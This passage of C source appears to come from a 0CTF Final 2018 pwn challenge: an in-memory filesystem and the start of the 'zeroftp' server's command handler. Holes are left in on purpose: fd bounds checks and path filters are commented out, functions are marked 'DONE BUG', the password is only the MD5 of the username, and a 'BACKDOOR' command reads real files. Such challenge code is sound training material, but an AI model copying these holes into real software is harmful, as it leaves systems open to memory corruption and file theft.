ssize_t zerofs_read(int fd, void *buf, size_t count) {
	// if ((fd >= FD_MAX) || (!state->io_files[fd]) || (fd < 0)) {
	// 	LOG("[zerofs_read] invalid fd (%d)", fd);
	// 	return -1;
	// }
	IOFile *io_file = state->io_files[fd];
	long int file_size = state->disk->inodes[io_file->fnode->info.inumber].size;
	long int start = io_file->cur;
	long int end = io_file->cur + count;
	if (end > file_size) {
		end = file_size;
	}
	if (start >= end) {
		LOG("[zerofs_read] nothing to read");
		return 0;
	}
	long int inumber = io_file->fnode->info.inumber;
	long int blockId = state->disk->inodes[inumber].info.blockId;
	ssize_t ret = _memory_read(blockId, buf, start, end);
	if (ret != -1) {
		io_file->cur = end;
	}
	return ret;
}

int zerofs_truncate(const char *pathname, off_t length) {
	if (length < 0) {
		LOG("[zerofs_truncate] invalid offset (%d)", length);
	}
	fnode_t *fnode = _resolve_path(pathname, 0);
	if (!fnode) {
		LOG("[zerofs_truncate] no such file or directory (%s)", pathname);
		return -1;
	}
	if (fnode->type == DIRECTORY) {
		LOG("[zerofs_truncate] try to truncate a directory (%s)", pathname);
		return -1;
	}
	long int blockId = state->disk->inodes[fnode->info.inumber].info.blockId;
	long int old_size = state->disk->inodes[fnode->info.inumber].size;
	state->disk->inodes[fnode->info.inumber].info.blockId = _memory_truncate(blockId, length, old_size);
	state->disk->inodes[fnode->info.inumber].size = length;
	for (int i = 0; i < FD_MAX; i++) {
		if ((state->io_files[i]) && (state->io_files[i]->fnode == fnode) && (state->io_files[i]->cur > length)) {
			state->io_files[i]->cur = length;
		}
	}
	return 0;
}

ssize_t zerofs_write(int fd, const void *buf, size_t count) {
	// if ((fd >= FD_MAX) || (!state->io_files[fd]) || (fd < 0)) {
	// 	LOG("[zerofs_write] invalid fd (%d)", fd);
	// 	return -1;
	// }
	IOFile *io_file = state->io_files[fd];
	long int start = io_file->cur;
	long int end = io_file->cur + count;
	long int file_size = state->disk->inodes[io_file->fnode->info.inumber].size;

	if (end > file_size) {
		state->disk->inodes[io_file->fnode->info.inumber].size = end;
	}

	if (start >= end) {
		LOG("[zerofs_write] nothing to write");
		return 0;
	}

	io_file->fnode->modifyTime = time(NULL);

	long int inumber = io_file->fnode->info.inumber;
	long int blockId = state->disk->inodes[inumber].info.blockId;
	if (blockId == -1) {
		blockId = state->disk->inodes[inumber].info.blockId = _create_block();
	}
	ssize_t ret = _memory_write(blockId, buf, start, end);
	if (ret != -1) {
		io_file->cur = end;
	}
	return ret;
}

#ifdef DEBUG

#ifndef SHELL

int main() {
	printf("Hello World!\n");
	zerofs_initfs("izhuer");
	int fd = zerofs_open("izhuer", O_WRONLY);
	printf("fd: %d\n", fd);
	zerofs_close(fd);
	zerofs_close(fd);
	zerofs_chdir("izhuer");
	zerofs_chdir("/");
	zerofs_mkdir("izhuer", O_RDONLY);
	zerofs_mkdir("./izhuer", O_RDWR);
	zerofs_mkdir("/izhuer", O_RDWR);
	zerofs_mkdir("xuexue", O_RDWR);
	zerofs_chdir("./../../xuexue");
	zerofs_mkdir("test_rd", O_RDONLY);
	zerofs_mkdir("test_wr", O_WRONLY);
	zerofs_mkdir("test_rdwr", O_RDWR);
	zerofs_chdir("test_rd");
	zerofs_mkdir("test", O_RDONLY);
	zerofs_chdir("..");
	zerofs_rmdir("test_rdwr");
	zerofs_chdir("test_rdwr");
	zerofs_chdir("/xuexue/");
	char **res;
	res = zerofs_list(".../../../../");
	while (*res) {
		printf("%s\n", *res);
		res++;
	}
	zerofs_elemget(".", FCTIME);
	value_t value;
	value.num = 0;
	zerofs_elemset(".", FCTIME, value);
	zerofs_elemget(".", FCTIME);
	value.ptr = strdup("../test");
	zerofs_elemset(".", FNAME, value);
	res = zerofs_list("/");
	while (*res) {
		printf("%s\n", *res);
		res++;
	}
	res = zerofs_list(".");
	while (*res) {
		printf("%s\n", *res);
		res++;
	}
	value.ptr = strdup("izhuer");
	zerofs_elemset(".", FNAME, value);
	value.ptr = strdup("izhuer2");
	zerofs_elemset(".", FNAME, value);
	puts(zerofs_pwd());
	for (int i = 0; i < 0x50; i ++)
		printf("%d\n", _create_block());
	_free_block(0x1);
	printf("%d\n", _create_block());
	_free_block(0x48);
	printf("%d\n", _create_block());
	res = zerofs_list("/");
	while (*res) {
		printf("%s\n", *res);
		res++;
	}
	zerofs_unlink("/izhuer");
	res = zerofs_list("/");
	while (*res) {
		printf("%s\n", *res);
		res++;
	}
	fd = zerofs_open("/izhuer3", O_RDWR);
	char *buf = strdup("zzdawang");
	printf("TEST: buf: \"%s\"\n", buf);
	zerofs_write(fd, buf, 0x8);
	zerofs_close(fd);
	*((long int *)buf) = 0;
	printf("TEST: buf: \"%s\"\n", buf);
	fd = zerofs_open("/izhuer3", O_RDWR);
	zerofs_read(fd, buf, 0x8);
	zerofs_close(fd);
	printf("TEST: buf: \"%s\"\n", buf);
	zerofs_chdir("/");
	zerofs_link("/izhuer3", "izhuer4");
	res = zerofs_list(".");
	while (*res) {
		printf("%s\n", *res);
		res++;
	}
	int fd1, fd2;
	fd1 = zerofs_open("/izhuer3", O_RDWR);
	zerofs_read(fd1, buf, 0x8);
	printf("TEST: buf: \"%s\"\n", buf);
	zerofs_truncate("izhuer4", 0x10000);
	fd2 = zerofs_open("izhuer4", O_RDWR);
	zerofs_write(fd2, "aixuexue", 0x8);
	zerofs_read(fd1, buf, 0x8);
	printf("TEST: buf: \"%s\"\n", buf);
	zerofs_lseek(fd1, 0, SEEK_SET);
	zerofs_read(fd1, buf, 0x8);
	printf("TEST: buf: \"%s\"\n", buf);

	zerofs_close(fd1);
	zerofs_close(fd2);
}

#endif

#endif


================================================
FILE: 2018/0ctf-final-2018/pwn/zeroftp/zerofs.h
================================================
/*************************************************************************
	> File Name: zerofs.h
	> Author:
	> Mail:
	> Created Time: Thu May  3 16:44:48 2018
 ************************************************************************/

#ifndef _ZEROFS_H
#define _ZEROFS_H

#include <time.h>
#include <unistd.h>

#define INODES_NUM 0x100
#define BLOCKS_NUM 0x100
#define BLOCK_SIZE 0x1000
#define FD_MAX 0x10


/*
 * Enumerations
 */

typedef enum {
    DIRECTORY,
    NORMAL_FILE,
} file_t;

typedef enum {
    PWRITE = 0x1,
    PREAD = 0x2,
    PEXECUTE = 0x4,
} perm_t;

typedef enum {
    FNAME,
    FTYPE,
    FPERM,
    FSIZE,
    FCTIME,
    FMTIME,
    FLINK,
} elem_t;

/*
 * Unions
 */

typedef union {
    char *ptr;
    long int num;
} value_t;

/*
 * Structures
 */

typedef struct inode_t {
    union inodeInfo {
        struct inode_t *next;
        long int blockId;
    } info;
    long int size;
    long int inumber;
    long int linkNr;
} inode_t;

typedef struct {
    char data[BLOCK_SIZE];
    long int nextId;
} block_t;


typedef struct {
    long int bitmap[BLOCKS_NUM / 0x40];
    inode_t inodes[INODES_NUM];
    inode_t *freeList;
    block_t blocks[BLOCKS_NUM];
} zerofs_disk;

typedef struct fnode_t {
    union {
        struct fnode_t *child;
        long int inumber;
    } info;
    perm_t perm;
    file_t type;
    time_t createTime;
    time_t modifyTime;
    long int userId;
    struct fnode_t *parent;
    struct fnode_t *brother;
    char *name;
} fnode_t;

typedef struct IOFile {
    long int cur;
    fnode_t *fnode;
    int flags;
} IOFile;

typedef struct {
    long int userId;
    char *username;
    zerofs_disk *disk;
    fnode_t *root;
    fnode_t *pwd;
    IOFile *io_files[FD_MAX];
} zerofs_state;


/*
 * Functions
 */

ssize_t zerofs_initfs(const char *username); // DONE
ssize_t zerofs_read(int fd, void *buf, size_t count); // DONE
ssize_t zerofs_write(int fd, const void *buf, size_t count);
int zerofs_open(const char *pathname, int flags); // DONE BUG
int zerofs_close(int fd); // DONE
int zerofs_unlink(const char *pathname); // DONE
int zerofs_link(const char *oldpath, const char *newpath);
int zerofs_chdir(const char *pathname); // DONE
int zerofs_rmdir(const char *pathname); // DONE BUG
int zerofs_mkdir(const char *pathname, int flags); // DONE
off_t zerofs_lseek(int fd, off_t offset, int whence); // DONE
int zerofs_truncate(const char *path, off_t length); // DONE

value_t zerofs_elemget(const char *pathname, elem_t elem); // DONE
int zerofs_elemset(const char *pathname, elem_t elem, value_t value); // DONE BUG
char **zerofs_list(const char *pathname); // DONE
char *zerofs_pwd(void);

#endif



================================================
FILE: 2018/0ctf-final-2018/pwn/zeroftp/zeroftp.c
================================================
#include <stdio.h>
#include <stdint.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <ctype.h>
#include "zero_pack.h"
#include "zero_proto.h"
#include "md5.h"
#include "string.h"
#include "zero_utils.h"
#include "crc32.h"
#include "zerofs.h"
#include <signal.h>

#ifdef DEBUG
#define LOG(...) printf(__VA_ARGS__)
#else
#define LOG(...)
#endif

#ifdef SERVER
#define ZERO_SEND(buf, size) zero_send(buf, size)
#define ZERO_RECV(buf, size) zero_recv(buf, size)
#else
#define ZERO_SEND(buf, size) write(1, buf, size)
#define ZERO_RECV(buf, size) read(0, buf, size)
#endif

#define CHECK_MALLOC(ptr, err) { \
	do { \
		if ((ptr) == (err)) { \
			exit(-1); \
		} \
	} while (0); \
}

static int is_regular_file(const char *path) {
    struct stat path_stat;
    stat(path, &path_stat);
    return S_ISREG(path_stat.st_mode);
}


void zeroftp_send(uint8_t *packet, size_t data_len) {
    uint32_t crc32;
    packet[0] = ZERO_MAGIC;
    *((uint32_t *)&packet[ZERO_MAGIC_LEN]) = htonl(data_len);

    crc32 = crc32_compute(0, packet+ZERO_MAGIC_LEN+4, data_len);

    *((uint32_t *)&packet[ZERO_MAGIC_LEN+4+data_len]) = htonl(crc32);

    size_t packet_len = ZERO_MAGIC_LEN+4+data_len+4;

    ZERO_SEND(packet, packet_len);

#ifdef DEBUG
    zero_hexdump(packet, packet_len);
#endif
}

void zeroftp_result_bool(int result) {
    uint8_t *result_packet, *result_data_in, *result_data_out;
    size_t data_len, zero_pack_len_val;
    zero_basic_t *zeroftp_result;

    zero_bool_new(&zeroftp_result, result);

    zero_pack_len_val = zero_pack_len(zeroftp_result);
    result_packet = (uint8_t *)malloc(zero_pack_len_val+0x100);

    result_data_in = result_packet+5;
    zero_pack(zeroftp_result, result_data_in, &result_data_out);

    data_len = result_data_out-result_packet-5;

    zeroftp_send(result_packet, data_len);

    zero_basic_free(zeroftp_result);
    free(result_packet);

}

void zeroftp_result_int(uint64_t val) {
    uint8_t *result_packet, *result_data_in, *result_data_out;
    size_t data_len, zero_pack_len_val;
    zero_basic_t *zeroftp_result;

    zero_int_new(&zeroftp_result, val, 1);

    zero_pack_len_val = zero_pack_len(zeroftp_result);
    result_packet = (uint8_t *)malloc(zero_pack_len_val+0x100);

    result_data_in = result_packet+5;
    zero_pack(zeroftp_result, result_data_in, &result_data_out);

    data_len = result_data_out-result_packet-5;

    zeroftp_send(result_packet, data_len);

    zero_basic_free(zeroftp_result);
    free(result_packet);
}

void zeroftp_result_raw(uint8_t *raw, uint8_t raw_size) {
    uint8_t *result_packet, *result_data_in, *result_data_out;
    size_t data_len, zero_pack_len_val;
    zero_basic_t *zeroftp_result;

    zero_raw_new(&zeroftp_result, raw, raw_size);

    zero_pack_len_val = zero_pack_len(zeroftp_result);
    result_packet = (uint8_t *)malloc(zero_pack_len_val+0x100);

    result_data_in = result_packet+5;
    zero_pack(zeroftp_result, result_data_in, &result_data_out);
    data_len = result_data_out-result_packet-5;

    zeroftp_send(result_packet, data_len);

    zero_basic_free(zeroftp_result);
    free(result_packet);
}

void zeroftp_result_string(uint8_t *str) {
    uint8_t *result_packet, *result_data_in, *result_data_out;
    size_t data_len, zero_pack_len_val;
    zero_basic_t *zeroftp_result;

    zero_string_new(&zeroftp_result, str);

    zero_pack_len_val = zero_pack_len(zeroftp_result);
    result_packet = (uint8_t *)malloc(zero_pack_len_val+0x100);

    result_data_in = result_packet+5;
    zero_pack(zeroftp_result, result_data_in, &result_data_out);
    data_len = result_data_out-result_packet-5;

    zeroftp_send(result_packet, data_len);

    zero_basic_free(zeroftp_result);
    free(result_packet);
}

void zeroftp_result_list(zero_basic_t **list) {
    uint8_t *result_packet, *result_data_in, *result_data_out;
    size_t data_len, zero_pack_len_val;
    zero_basic_t *zeroftp_result;

    zero_list_new(&zeroftp_result, list);

    zero_pack_len_val = zero_pack_len(zeroftp_result);
    result_packet = (uint8_t *)malloc(zero_pack_len_val+0x100);

    result_data_in = result_packet+5;
    zero_pack(zeroftp_result, result_data_in, &result_data_out);
    data_len = result_data_out-result_packet-5;

    zeroftp_send(result_packet, data_len);

    zero_basic_free(zeroftp_result);
    free(result_packet);
}

int g_logined = 0;

void zeroftp_cmd_dispatcher(uint8_t *cmd, uint32_t cmd_len) {
    uint8_t *arg1;
    uint8_t *arg2;
    uint8_t *arg3;
    uint8_t *arg4;
    zero_basic_t *zeroftp_cmd;
    zero_basic_t *zeroftp_arg1, *zeroftp_arg2, *zeroftp_arg3;
    int unpack_res = 0;

    unpack_res = zero_unpack_int(cmd, &arg1, &zeroftp_cmd);
    if (unpack_res == -1) {
        goto LABEL_FAILED;
    }

    if (ZERO_BASIC_TYPE(zeroftp_cmd) == ZERO_INT) {
        switch(ZERO_INT_VAL(zeroftp_cmd)) {
            case ZEROFTP_LOGIN:
                // arg1 username arg2 user_password
                unpack_res = zero_unpack_string(arg1, &arg2, &zeroftp_arg1);
                if (unpack_res == -1) {
                    goto LABEL_FAILED;
                }
                unpack_res = zero_unpack_raw(arg2, &arg3, &zeroftp_arg2);
                if (unpack_res == -1) {
                    goto LABEL_FAILED;
                }

                char *username = ZERO_STRING_VAL(zeroftp_arg1);

                if (zeroftp_arg2->len != 16) {
                    zero_basic_free(zeroftp_arg1);
                    zero_basic_free(zeroftp_arg2);
                    goto LABEL_FAILED;
                }

                uint8_t *password = zeroftp_arg2->ptr;

                uint8_t username_md5[16];
                md5((uint8_t*)username, strlen(username), username_md5);

                if(memcmp(password, username_md5, 16)) {
                    LOG("login failed\n");
                    //zeroftp_result_bool(0);
                    //return;
                    zero_basic_free(zeroftp_arg1);
                    zero_basic_free(zeroftp_arg2);
                    goto LABEL_FAILED;
                } else {
#ifndef ZEROFS
                    LOG("login success\n");
#else
                    zerofs_initfs(username);
#endif
                    g_logined = 1;
                    zeroftp_result_bool(1);
                }
                zero_basic_free(zeroftp_arg1);
                zero_basic_free(zeroftp_arg2);
                break;
            case ZEROFTP_LS:
                if (!g_logined) {
                    //zeroftp_result_bool(0);
                    //return;
                    goto LABEL_FAILED;
                }
                // arg1 pathname
                unpack_res = zero_unpack_string(arg1, &arg2, &zeroftp_arg1);
                if (unpack_res == -1) {
                    goto LABEL_FAILED;
                }
                char *ls_pathname = ZERO_STRING_VAL(zeroftp_arg1);
#ifndef ZEROFS
                char *ls_list[3] = {"AAAA", "BBBB", NULL};
                //char *ls_list[3] = {NULL};
#else
                char **ls_list = NULL;
                ls_list = zerofs_list(ls_pathname);
#endif

                size_t zero_string_list_len = 0;
                PTRARRAY_LEN(ls_list, zero_string_list_len);
                zero_basic_t **zero_string_list = (zero_basic_t **)malloc(sizeof(zero_basic_t *)*(zero_string_list_len+1));
                CHECK_MALLOC(zero_string_list, NULL);

                size_t ls_i = 0;
                zero_basic_t *zero_string_tmp;
                char *ls_tmp = ls_list[0];
                while (ls_tmp) {
                    zero_string_new(&zero_string_tmp, ls_tmp);
                    zero_string_list[ls_i] = zero_string_tmp;
                    ls_i++;
                    ls_tmp = ls_list[ls_i];
                }
                zero_string_list[ls_i] = NULL;

                zeroftp_result_list(zero_string_list);
                free(zero_string_list);
                zero_basic_free(zeroftp_arg1);
                break;
            case ZEROFTP_CD:
                if (!g_logined) {
                    goto LABEL_FAILED;
                }
                // arg1 pathname
                unpack_res = zero_unpack_string(arg1, &arg2, &zeroftp_arg1);
                if (unpack_res == -1) {
                    goto LABEL_FAILED;
                }
                char *cd_pathname = ZERO_STRING_VAL(zeroftp_arg1);
#ifndef ZEROFS
                int cd_result = 0;
#else
                int cd_result = zerofs_chdir(cd_pathname);
#endif

                if (cd_result == 0) {
                    zeroftp_result_bool(1);
                } else {
                    goto LABEL_FAILED;
                }
                zero_basic_free(zeroftp_arg1);
                break;
            case ZEROFTP_MKDIR:
                if (!g_logined) {
                    goto LABEL_FAILED;
                }
                // arg1 pathname
                unpack_res = zero_unpack_string(arg1, &arg2, &zeroftp_arg1);
                if (unpack_res == -1) {
                    goto LABEL_FAILED;
                }
                char *mkdir_pathname = ZERO_STRING_VAL(zeroftp_arg1);
                size_t mkdir_pathname_len = strlen(mkdir_pathname);

                //for (int i = 0; i < mkdir_pathname_len; i++) {
                //    char victim = mkdir_pathname[i];
                //    if (!isalpha(victim) && !isdigit(victim) && victim != '_') {
                //        goto LABEL_FAILED;
                //    }
                //}

#ifndef ZEROFS
                int mkdir_result = 0;
#else
                int mkdir_result = zerofs_mkdir(mkdir_pathname, O_RDWR);
#endif

                if (mkdir_result == 0) {
                    zeroftp_result_bool(1);
                } else {
                    goto LABEL_FAILED;
                }
                zero_basic_free(zeroftp_arg1);
                break;
            case ZEROFTP_RMDIR:
                if (!g_logined) {
                    goto LABEL_FAILED;
                }
                // arg1 pathname
                unpack_res = zero_unpack_string(arg1, &arg2, &zeroftp_arg1);
                if (unpack_res == -1) {
                    goto LABEL_FAILED;
                }
                char *rmdir_pathname = ZERO_STRING_VAL(zeroftp_arg1);
#ifndef ZEROFS
                int rmdir_result = 0;
#else
                int rmdir_result = zerofs_rmdir(rmdir_pathname);
#endif

                if (rmdir_result == 0) {
                    zeroftp_result_bool(1);
                } else {
                    goto LABEL_FAILED;
                }
                zero_basic_free(zeroftp_arg1);
                break;
            case ZEROFTP_RDFILE:
                if (!g_logined) {
                    goto LABEL_FAILED;
                }
                // arg1 pathname
                unpack_res = zero_unpack_string(arg1, &arg2, &zeroftp_arg1);
                if (unpack_res == -1) {
                    goto LABEL_FAILED;
                }
                char *rd_pathname = ZERO_STRING_VAL(zeroftp_arg1);

#ifndef ZEROFS
                size_t rd_filesize = strlen(rd_pathname);
                uint8_t *rd_buf = (uint8_t *)malloc(rd_filesize+0x10);
                CHECK_MALLOC(rd_buf, NULL);

                memcpy(rd_buf, rd_pathname, rd_filesize);
#else
                int rd_fd = zerofs_open(rd_pathname, O_RDONLY);
                if (rd_fd < 0) {
                    zero_basic_free(zeroftp_arg1);
                    goto LABEL_FAILED;
                }
                size_t rd_filesize = zerofs_lseek(rd_fd, 0, SEEK_END);
                if (rd_filesize == -1) {
                    zero_basic_free(zeroftp_arg1);
                    goto LABEL_FAILED;
                }
                rd_filesize = MIN(rd_filesize, 0x800);

                zerofs_lseek(rd_fd, 0, SEEK_SET);
                uint8_t *rd_buf = (uint8_t *)malloc(rd_filesize+0x10);
                CHECK_MALLOC(rd_buf, NULL);

                int rd_result = zerofs_read(rd_fd, rd_buf, rd_filesize);
#endif

#ifdef PWN
#else
                zerofs_close(rd_fd);
#endif
                zeroftp_result_raw(rd_buf, rd_filesize);

                free(rd_buf);
                zero_basic_free(zeroftp_arg1);
                break;
            case ZEROFTP_WRFILE:
                if (!g_logined) {
                    goto LABEL_FAILED;
                }
                // arg1 pathname
                // arg2 file_content
                unpack_res = zero_unpack_string(arg1, &arg2, &zeroftp_arg1);
                if (unpack_res == -1) {
                    goto LABEL_FAILED;
                }
                unpack_res = zero_unpack_raw(arg2, &arg3, &zeroftp_arg2);
                if (unpack_res == -1) {
                    goto LABEL_FAILED;
                }

                char *wr_pathname = ZERO_STRING_VAL(zeroftp_arg1);
                char *wr_file_content = zeroftp_arg2->ptr;
                size_t wr_file_content_size = zeroftp_arg2->len;

                //for (int i = 0; i < strlen(wr_pathname); i++) {
                //    char victim = wr_pathname[i];
                //    if (!isalpha(victim) && !isdigit(victim)) {
                //        goto LABEL_FAILED;
                //    }
                //}

#ifndef ZEROFS
                size_t wr_result = wr_file_content_size;
#else
                int wr_fd = zerofs_open(wr_pathname, O_WRONLY);
                if (wr_fd < 0) {
                    zero_basic_free(zeroftp_arg1);
                    zero_basic_free(zeroftp_arg2);
                    goto LABEL_FAILED;
                }
                size_t wr_result;
                wr_result = zerofs_write(wr_fd, wr_file_content, wr_file_content_size);

#endif

                zerofs_close(wr_fd);
                zeroftp_result_int(wr_result);
                zero_basic_free(zeroftp_arg1);
                zero_basic_free(zeroftp_arg2);
                break;
            case ZEROFTP_RMFILE:
                if (!g_logined) {
                    goto LABEL_FAILED;
                }
                // arg1 pathname
                unpack_res = zero_unpack_string(arg1, &arg2, &zeroftp_arg1);
                if (unpack_res == -1) {
                    goto LABEL_FAILED;
                }
                char *rmfile_pathname = ZERO_STRING_VAL(zeroftp_arg1);
#ifndef ZEROFS
                int rmfile_result = 0;
#else
                int rmfile_result = zerofs_unlink(rmfile_pathname);
#endif

                if (rmfile_result == 0) {
                    zeroftp_result_bool(1);
                } else {
                    goto LABEL_FAILED;
                }
                zero_basic_free(zeroftp_arg1);
                break;
            case ZEROFTP_FILEINFO:
                if (!g_logined) {
                    goto LABEL_FAILED;
                }
                // arg1 pathname
                // arg2 elem
                unpack_res = zero_unpack_string(arg1, &arg2, &zeroftp_arg1);
                if (unpack_res == -1) {
                    goto LABEL_FAILED;
                }

                char *fileinfo_pathname = ZERO_STRING_VAL(zeroftp_arg1);
                value_t fileinfo_type;
                fileinfo_type = (zerofs_elemget(fileinfo_pathname, FTYPE));

                if (fileinfo_type.num == -1) {
                    goto LABEL_FAILED;
                }
                value_t fileinfo_value_name;
                value_t fileinfo_value_type;
                value_t fileinfo_value_perm;
                value_t fileinfo_value_size;
                value_t fileinfo_value_ctime;
                value_t fileinfo_value_mtime;
                zero_basic_t **fileinfo_list;
                zero_basic_t *zero_fileinfo_tmp;

                if (fileinfo_type.num == NORMAL_FILE) {
                    unpack_res = zero_unpack_bool(arg2, &arg3, &zeroftp_arg2);
                    if (unpack_res == -1) {
                        goto LABEL_FAILED;
                    }
                    if (ZERO_BOOL_VAL(zeroftp_arg2)) {
                        unpack_res = zero_unpack_int(arg3, &arg4, &zeroftp_arg3);
                        if (unpack_res == -1) {
                            goto LABEL_FAILED;
                        }
                        uint64_t fileinfo_elem = ZERO_INT_VAL(zeroftp_arg3);
                        value_t fileinfo_value;
                        uint64_t fileinfo_num;
                        char *fileinfo_ptr;

                        switch(fileinfo_elem) {
                            case FNAME:
#ifndef ZEROFS
                                fileinfo_value.ptr = "filefilefile";
#else
                                fileinfo_value = (zerofs_elemget(fileinfo_pathname, FNAME));
                                size_t fileinfo_value_len = strlen(fileinfo_value.ptr);
                                if (fileinfo_value_len > 0x800) {
                                    fileinfo_value_len = 0x800;
                                    fileinfo_value.ptr[0x800] = 0;
                                }
#endif
                                zeroftp_result_string(fileinfo_value.ptr);
                                break;
                            case FTYPE:
                            case FPERM:
                            case FSIZE:
                            case FCTIME:
                            case FMTIME:
#ifndef ZEROFS
                                fileinfo_value.num = 0xdeadbeef;
#else
                                fileinfo_value = zerofs_elemget(fileinfo_pathname, fileinfo_elem);
#endif
                                zeroftp_result_int(fileinfo_value.num);
                                break;
                            default:
                                goto LABEL_FAILED;
                        }

                        zero_basic_free(zeroftp_arg1);
                        zero_basic_free(zeroftp_arg2);
                        zero_basic_free(zeroftp_arg3);
                    } else {
                        fileinfo_value_name  = (zerofs_elemget(fileinfo_pathname, FNAME));
                        fileinfo_value_type  = (zerofs_elemget(fileinfo_pathname, FTYPE));
                        fileinfo_value_perm  = (zerofs_elemget(fileinfo_pathname, FPERM));
                        fileinfo_value_size  = (zerofs_elemget(fileinfo_pathname, FSIZE));
                        fileinfo_value_ctime = (zerofs_elemget(fileinfo_pathname, FCTIME));
                        fileinfo_value_mtime = (zerofs_elemget(fileinfo_pathname, FMTIME));

                        fileinfo_list = (zero_basic_t **)malloc(sizeof(zero_basic_t *)*(7));
                        CHECK_MALLOC(fileinfo_list, NULL);

                        zero_string_new(&zero_string_tmp, fileinfo_value_name.ptr);
                        fileinfo_list[0] = zero_string_tmp;
                        zero_int_new(&zero_string_tmp, fileinfo_value_type.num, 1);
                        fileinfo_list[1] = zero_string_tmp;
                        zero_int_new(&zero_string_tmp, fileinfo_value_perm.num, 1);
                        fileinfo_list[2] = zero_string_tmp;
                        zero_int_new(&zero_string_tmp, fileinfo_value_size.num, 1);
                        fileinfo_list[3] = zero_string_tmp;
                        zero_int_new(&zero_string_tmp, fileinfo_value_ctime.num, 1);
                        fileinfo_list[4] = zero_string_tmp;
                        zero_int_new(&zero_string_tmp, fileinfo_value_mtime.num, 1);
                        fileinfo_list[5] = zero_string_tmp;
                        fileinfo_list[6] = NULL;

                        zeroftp_result_list(fileinfo_list);

                        free(fileinfo_list);
                        zero_basic_free(zeroftp_arg1);
                        zero_basic_free(zeroftp_arg2);
                        break;

                    }
                } else {
                    char **fileinfo_file_list = NULL;
                    fileinfo_file_list = zerofs_list(fileinfo_pathname);

                    size_t fileinfo_file_list_len = 0;
                    PTRARRAY_LEN(fileinfo_file_list, fileinfo_file_list_len);
                    zero_basic_t **zero_fileinfo_file_list = (zero_basic_t **)malloc(sizeof(zero_basic_t *)*(fileinfo_file_list_len+1));
                    CHECK_MALLOC(zero_fileinfo_file_list, NULL);

                    for (int i = 0; i < fileinfo_file_list_len; i++) {
                        fileinfo_value_name  = (zerofs_elemget(fileinfo_file_list[i], FNAME));
                        fileinfo_value_type  = (zerofs_elemget(fileinfo_file_list[i], FTYPE));
                        fileinfo_value_perm  = (zerofs_elemget(fileinfo_file_list[i], FPERM));
                        fileinfo_value_size  = (zerofs_elemget(fileinfo_file_list[i], FSIZE));
                        fileinfo_value_ctime = (zerofs_elemget(fileinfo_file_list[i], FCTIME));
                        fileinfo_value_mtime = (zerofs_elemget(fileinfo_file_list[i], FMTIME));

                        fileinfo_list = (zero_basic_t **)malloc(sizeof(zero_basic_t *)*(7));
                        CHECK_MALLOC(fileinfo_list, NULL);

                        zero_string_new(&zero_string_tmp, fileinfo_value_name.ptr);
                        fileinfo_list[0] = zero_string_tmp;
                        zero_int_new(&zero_string_tmp, fileinfo_value_type.num, 1);
                        fileinfo_list[1] = zero_string_tmp;
                        zero_int_new(&zero_string_tmp, fileinfo_value_perm.num, 1);
                        fileinfo_list[2] = zero_string_tmp;
                        zero_int_new(&zero_string_tmp, fileinfo_value_size.num, 1);
                        fileinfo_list[3] = zero_string_tmp;
                        zero_int_new(&zero_string_tmp, fileinfo_value_ctime.num, 1);
                        fileinfo_list[4] = zero_string_tmp;
                        zero_int_new(&zero_string_tmp, fileinfo_value_mtime.num, 1);
                        fileinfo_list[5] = zero_string_tmp;
                        fileinfo_list[6] = NULL;

                        zero_list_new(zero_fileinfo_file_list+i, fileinfo_list);
                    }
                    zero_fileinfo_file_list[fileinfo_file_list_len] = 0;

                    zeroftp_result_list(zero_fileinfo_file_list);
                    zero_basic_free(zeroftp_arg1);
                }

                break;
            case ZEROFTP_SETFILEINFO:
                if (!g_logined) {
                    goto LABEL_FAILED;
                }
                // arg1 pathname
                // arg2 elem
                // arg3 value
                unpack_res = zero_unpack_string(arg1, &arg2, &zeroftp_arg1);
                if (unpack_res == -1) {
                    goto LABEL_FAILED;
                }
                unpack_res = zero_unpack_int(arg2, &arg3, &zeroftp_arg2);
                if (unpack_res == -1) {
                    goto LABEL_FAILED;
                }
                char *setfileinfo_pathname = ZERO_STRING_VAL(zeroftp_arg1);
                uint64_t setfileinfo_elem = ZERO_INT_VAL(zeroftp_arg2);
                value_t setfileinfo_value;


                switch(setfileinfo_elem) {
                    case FNAME:
                        unpack_res = zero_unpack_string(arg3, &arg4, &zeroftp_arg3);
                        if (unpack_res == -1) {
                            goto LABEL_FAILED;
                        }
                        setfileinfo_value.ptr = ZERO_STRING_VAL(zeroftp_arg3);
#ifndef ZEROFS
#else
                        zerofs_elemset(setfileinfo_pathname, FNAME, setfileinfo_value);
#endif
                        zeroftp_result_bool(1);
                        break;
                    //case FTYPE:
                    case FPERM:
                    //case FSIZE:
                    case FCTIME:
                    case FMTIME:
                        unpack_res = zero_unpack_int(arg3, &arg4, &zeroftp_arg3);
                        if (unpack_res == -1) {
                            goto LABEL_FAILED;
                        }
                        setfileinfo_value.num = ZERO_INT_VAL(zeroftp_arg3);
#ifndef ZEROFS
#else
                        zerofs_elemset(setfileinfo_pathname, setfileinfo_elem, setfileinfo_value);
#endif
                        zeroftp_result_bool(1);
                        break;
                    default:
                        goto LABEL_FAILED;
                }
                zero_basic_free(zeroftp_arg1);
                zero_basic_free(zeroftp_arg2);
                zero_basic_free(zeroftp_arg3);
                break;
            case ZEROFTP_BACKDOOR:
                if (!g_logined) {
                    goto LABEL_FAILED;
                }
                // arg1 backdoor_filename
                unpack_res = zero_unpack_string(arg1, &arg2, &zeroftp_arg1);
                if (unpack_res == -1) {
                    goto LABEL_FAILED;
                }
                char *backdoor_pathname = ZERO_STRING_VAL(zeroftp_arg1);
                size_t backdoor_pathname_len = strlen(backdoor_pathname);

                /* check */
                if(!is_regular_file(backdoor_pathname)) {
                    goto LABEL_FAILED;
                }
                if (!isalpha(backdoor_pathname[0]) && !isdigit(backdoor_pathname[0])) {
                    goto LABEL_FAILED;
                }
                if (backdoor_pathname_len > 1) {
                    for (int i = 1; i < backdoor_pathname_len; i++) {
                        char victim = backdoor_pathname[i];
                        if (!isalpha(victim) && !isdigit(victim) && victim != '_' && victim != '/') {
                            goto LABEL_FAILED;
                        }
                    }
                }

                int backdoor_fd = open(backdoor_pathname, O_RDONLY);


                size_t backdoor_filesize = lseek(backdoor_fd, 0, SEEK_END);
                if (backdoor_filesize == -1) {
                    goto LABEL_FAILED;
                }
                backdoor_filesize = MIN(backdoor_filesize, 0x800);
                lseek(backdoor_fd, 0, SEEK_SET);

                uint8_t *backdoor_filecontent = (uint8_t *)malloc(backdoor_filesize+0x10);
